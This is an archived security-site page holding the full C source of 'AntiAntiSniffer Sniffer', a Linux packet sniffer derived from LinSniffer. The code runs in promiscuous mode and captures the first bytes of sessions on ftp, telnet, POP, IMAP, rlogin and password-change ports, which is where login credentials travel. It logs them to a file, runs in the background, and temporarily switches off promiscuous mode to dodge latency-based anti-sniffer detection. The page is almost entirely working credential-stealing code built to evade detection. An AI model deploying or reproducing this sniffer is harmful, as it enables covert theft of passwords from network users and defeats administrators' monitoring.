TUCoPS :: Unix :: General :: aass.c

Anti-Antisniff Sniffer Anti-Antisniff Sniffer is a sniffer that avoids some of the anti-sniffer methods of detecting sniffers.

/*
   The AntiAntiSniffer Sniffer by Mike Perry

   To all my friends, coworkers, and associates who thought I knew better than
   to do something like this, please understand that when I discovered I could
   call the program the AntiAntiSniffer Sniffer, I just couldn't resist :)
   
   P.S. Legitimate tools such as icmplog will exhibit the same order of
   magnitude latency increase on ping responses.

   Moral of the story: use ssh/lsh, and assume no host on your network is to
   be trusted under any means.
  
   Based on:
   LinSniffer 0.03 [BETA]
   Mike Edulla
   medulla@infosoc.com

   As always, my portion of code falls under the GPL.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h>
#include <sys/ioctl.h>

#define INTERFACE "eth0"

/* Really paranoid counts every packet in the load average. If the load
 * average jumps, we drop the promisc bit, and sleep for a few seconds */
#define REALLY_PARANOID	3

/* Paranoid only counts packets that we would log. If the load average of
 * these packers jump, we drop the promisc bit, and sleep for a few seconds */
#define PARANOID	2

/* Lazy simply negelcts from logging until our load normalizes.. If you are on
 * a (REAL) fast machine that is not slowed down by the kernel having to drop
 * packets as opposed to the interface, you may want this option (to avoid the 
 * HIDEOUT issue described below). All this will save you is the traversal 
 * through the list, and the write to disk.
 */
#define LAZY		1

#define AASS		REALLY_PARANOID

/* Average over X packets */
/* The higher the value, the fewer false positives.
 * However, if the NUM_PKTS is TOO large, we may get caught before we even 
 * accumulate enough packets for accurate statistics! See the HIDEOUT & 
 * comments for more info..
 */
#define NUM_PKTS_SHIFT 4
#define NUM_PKTS 32

/* 
 * Secs to wait for the bad men to go away :)
 */
#define HIDEOUT_MAX	20000000 /* 20 sec max */
#define HIDEOUT_MIN	5000000 /* 5 sec min */

#define randhide()	\
	((rand() % (HIDEOUT_MAX - HIDEOUT_MIN)) + HIDEOUT_MIN)

/* Use this to define your own maximum load at which to bail out */
/* Units are usecs per packet */
/* Careful! Your machine may drop packets at the kernel level (esp if you have
 * CPU_IS_TOO_SLOW set in networking options)
 * Fast machines may get alot of false positives for ftp however..
 */
#define UMAX_LOAD	1500 /* 1.5ms per packet. 0 is Inf */

/* This causes the algorithm to treat dead time as if a packet was coming
 * every BASELINE usecs. Useful for intermittent traffic networks */
#define BASELINE	5000 /* 5ms */
    
/* As a last resort, don't track more than CMAX connections at once.
 */
#define CMAX	10 /* -1 is Inf */

#define CAPLEN 512
#define TIMEOUT 30
#define TCPLOG "test"

/* Actually, this debug option prints out some pretty useful stats you can use
 * to set UMAX_LOAD */
// #define DEBUG

#ifdef DEBUG
# define PRINTF(a...)  printf(##a)
#else
# define PRINTF(x...)
#endif


struct netload
{
    struct timeval last;
    int stats;
};

struct netload rawload;
struct netload tcpload;


/* #define RESOLVE_HOSTS Rule #2. */

struct etherpacket
{
    struct ethhdr eth;
    struct iphdr ip;
    struct tcphdr tcp;
    char buff[8192];
} ep;

struct vlist_t
{
    unsigned long saddr;
    unsigned long daddr;
    unsigned short sport;
    unsigned short dport;
    int bytes_read;
    time_t start_time;
    time_t last;
    char data[CAPLEN+1];
    struct vlist_t *next;
};


int ntraced = 0;
struct vlist_t vlist_head;
struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;


void set_promisc(char *dev, int s)
{
    struct ifreq ifr;
   
    strcpy(ifr.ifr_name, dev);
    
    fprintf(fp, "Interface %s online\n", dev);
    
    if(ioctl(s, SIOCGIFFLAGS, &ifr) < 0)
    {
	close(s);
	perror("Can't get promisc bit!");
	exit(0);
    }
    ifr.ifr_flags |= IFF_PROMISC;
    if(ioctl(s, SIOCSIFFLAGS, &ifr) < 0)
    {
	perror("Can't set promisc bit!");
	exit(0);
    }
    fflush(fp);	
}

void drop_promisc(char *dev, int s)
{
    struct ifreq ifr;
   
    strcpy(ifr.ifr_name, dev);

    fprintf(fp, "AntiSniff detected. Dropping promisc from interface %s\n", dev);
    
    if(ioctl(s, SIOCGIFFLAGS, &ifr) < 0)
    {
	close(s);
	perror("Can't drop promisc bit! Bailing");
	exit(0);
    }
    ifr.ifr_flags &= ~IFF_PROMISC;
    if(ioctl(s, SIOCSIFFLAGS, &ifr) < 0)
    {
	perror("Can't drop promisc bit! Bailing");
	exit(0);
    }	
}

void closeintf(char *dev, int s)
{
    /* We must completly flush our data, unfortunately */
    drop_promisc(dev, s);
    shutdown(s, 2);
    close(s);
}

int openintf(char *dev)
{
    int fd;
    fd = socket(PF_PACKET, SOCK_PACKET, htons(0x800));
    if (fd < 0)
    {
	perror("cant get SOCK_PACKET socket");
	exit(0);
    }
    set_promisc(dev, fd);
    return fd;
}


void init_load(struct netload *load)
{
    gettimeofday(&load->last, NULL);
    load->stats = BASELINE;
}


/*
 * The algorithm is as follows:
 *
 * Say you have N numbers coming in
 * You don't want to make an array to hold them all in to average
 * So you do this: avg = (N*avg + number)/N
 * That reduces to avg = avg + number/N or avg += number/N
 *
 * But we have no idea how many packets will come in, So what happens if you 
 * get past N? Why you have to subtract avg/N off so you don't just head on off
 * to +Infinity
 *
 * Example with real numbers: 
 * So if the time difference were 12 each time, after 8 packets the avg would be up 
 * to 12, so we add the new one (12/8) then subtract avg/8 (12/8) to stabalize.
 * 
 * Lower stats mean more load. (Units of usecs/packet)
 */
int account_load(struct netload *load)
{
    struct timeval tv;
    register int elapsed;
    gettimeofday(&tv, NULL);
    
    PRINTF("%d sec, %6d usec elapsed\t", tv.tv_sec - load->last.tv_sec,
	    tv.tv_usec - load->last.tv_usec);

    /* Make things a little more normalized for very low traffic networks */
    /* essentially we are simulating a packet every 5 msec */
    if(tv.tv_sec > load->last.tv_sec || tv.tv_usec - load->last.tv_usec >
	    BASELINE)
	elapsed = BASELINE;
    else
	elapsed = tv.tv_usec - load->last.tv_usec;
    load->last = tv;

#if defined(READABLE) 
    load->stats += elapsed / NUM_PKTS - load->stats / NUM_PKTS;
#else
    load->stats += (elapsed - load->stats) >> NUM_PKTS_SHIFT;
#endif

    PRINTF("Stats %6d\tDelta stats %d\n", load->stats, (elapsed - load->stats) >>
	    NUM_PKTS_SHIFT);
    /*  Remember, lower stat means higher load */
    if(load->stats < UMAX_LOAD)
    {
	PRINTF("Threshold exceeded. Network load %d\n", load->stats);
	load->stats = BASELINE;
	return AASS;
    }
    return 0;
}

int drop(void)
{
    if (ip->protocol != 6)
	return 1;

    switch (ntohs(tcp->dest))
    {
    case 21:			/* ftp */
    case 23:			/* telnet */
    case 110:			/* pop3 */
    case 109:			/* pop2 */
    case 143:			/* imap2 */
    case 513:			/* rlogin */
    case 106:			/* poppasswd */
    case 761:			/* kerberos passwd */
    case 87:			/* tty link */
    case 6666:			/* Hrmm.. Who IRC's? :) */
    case 6667:
#if AASS == LAZY
	return account_load(&tcpload);
#else if AASS == PARANOID
	if(account_load(&tcpload))
	{
	    closeintf(INTERFACE, s);
	    usleep(randhide());
	    openintf(INTERFACE);
	}
#endif
	return 0;
    default:
	return 1;
    }
}


void read_tcp(int s)
{
    while (1)
    {
	if(read(s, (struct etherpacket *) &ep, sizeof(ep)) > 1)
	{
#if AASS == REALLY_PARANOID
	    if(account_load(&rawload))
	    {
		closeintf(INTERFACE,s);
		usleep(randhide());
		openintf(INTERFACE);
	    }
#endif
	    if(!drop())
		return;
	}
    }
}

char *hostlookup(unsigned long int in)
{
    struct in_addr i;
#ifdef RESOLVE_HOSTS
    static char blah[1024];
    struct hostent *he;

    i.s_addr = in;
    he = gethostbyaddr((char *) &i, sizeof(struct in_addr), AF_INET);
    if (he == NULL)
	strcpy(blah, inet_ntoa(i));
    else
	strcpy(blah, he->h_name);
    return blah;
#endif
    i.s_addr = in;
    return inet_ntoa(i);
}


int print_header(void)
{
    fprintf(fp, "\n---------------\n");
    fprintf(fp, "%s => ", hostlookup(ip->saddr));
    fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}

void cleanup(int sig)
{
    fprintf(fp, "Exiting...\n");
    close(s);
    fclose(fp);
    exit(0);
}

void log_packet(struct vlist_t *v, char *type)
{
    int i = 0;
    int t = 0;

    for (i = 0; i != v->bytes_read; i++)
    {
	if (v->data[i] == 13)
	{
	    fprintf(fp, "\n");
	    t = 0;
	}
	if (isprint(v->data[i]))
	{
	    fprintf(fp, "%c", v->data[i]);
	    t++;
	}
	if (t > 75)
	{
	    t = 0;
	    fprintf(fp, "\n");
	}
    }
    fprintf(fp, "\n[%s]---------------\n", type);
}


void enque_victim()
{
    struct vlist_t *p;
    ntraced++;
    if(ntraced >= CMAX)
    {
	closeintf(INTERFACE, s);
	usleep(randhide());
	openintf(INTERFACE);
    }
    for(p = &vlist_head; p->next != NULL; p = p->next)
	;
    p->next = (struct vlist_t *)malloc(sizeof(struct vlist_t));
    p = p->next;
    p->saddr = ip->saddr;
    p->daddr = ip->daddr;
    p->dport = tcp->dest;
    p->sport = tcp->source;
    p->bytes_read = 0;
    p->start_time = p->last = time(NULL);
    p->next = NULL;
}

void seek_and_destroy()
{
    struct vlist_t *p, *prev;
    for(p = &vlist_head; p->next != NULL; )
    {
	prev = p;
	p = p->next;
	if(p->saddr == ip->saddr && p->daddr == ip->daddr && 
		p->sport == tcp->source && p->dport == tcp->dest)
	{
	    log_packet(p, "FIN/RST");
	    p = p->next;
	    free(prev->next);
	    prev->next = p;
	    ntraced--;
	    return;
	}
    }
} 

void prune_list()
{
    struct vlist_t *p, *prev;
    for(p = &vlist_head; p && p->next != NULL; )
    {
	prev = p;
	p = p->next;
	if(time(NULL) - p->last > TIMEOUT || p->bytes_read > CAPLEN)
	{
	    log_packet(p, "CAPLEN");
	    p = p->next;
	    free(prev->next);
	    prev->next = p;
	    ntraced--;
	}
    }
}  

void snarf_data()
{
    struct vlist_t *p;
    int bytes = htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp);
    for(p = &vlist_head; p->next != NULL; )
    {
	p = p->next;
	if(p->saddr == ip->saddr && p->daddr == ip->daddr && 
		p->sport == tcp->source && p->dport == tcp->dest)
	{
	    if(p->bytes_read + bytes >= CAPLEN)
	    {
		bytes = CAPLEN - p->bytes_read;
	    }
	    memcpy(p->data + p->bytes_read, ep.buff-2, bytes); 
	    p->bytes_read += bytes;
	    return;
	}
    }
}


void manage_list()
{
    if(tcp->syn == 1)
    {
	enque_victim();
	print_header();
    }
    else if (tcp->rst == 1 || tcp->fin == 1)
    {
	seek_and_destroy();
	return;
    }
    snarf_data();
}

int main(int argc, char **argv)
{
    struct timeval tv;
    ip = (struct iphdr *) (((unsigned long) &ep.ip) - 2);
    tcp = (struct tcphdr *) (((unsigned long) &ep.tcp) - 2);
    signal(SIGHUP, SIG_IGN);
    signal(SIGINT, cleanup);
    signal(SIGTERM, cleanup);
    signal(SIGKILL, cleanup);
    signal(SIGQUIT, cleanup);
    fp = fopen(TCPLOG, "at");
    s = openintf(INTERFACE);
    gettimeofday(&tv, NULL);
    srand(tv.tv_usec ^ getpid() ^ (getppid() << 16));

    if(fork())
    {
	exit(0);
    }

    if (fp == NULL)
    {
	fprintf(stderr, "cant open log\n");
	exit(0);
    }

    vlist_head.next = NULL;
    init_load(&tcpload);
    init_load(&rawload);
    for (;;)
    {
	read_tcp(s);
	manage_list();
	/* I think using sigalarms is what made linsniff666 unstable, so I am
	 * just going to prune the timed out connects after a valid packet
	 * comes through */
	prune_list();
	fflush(fp);
    }
    return 1;
}

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH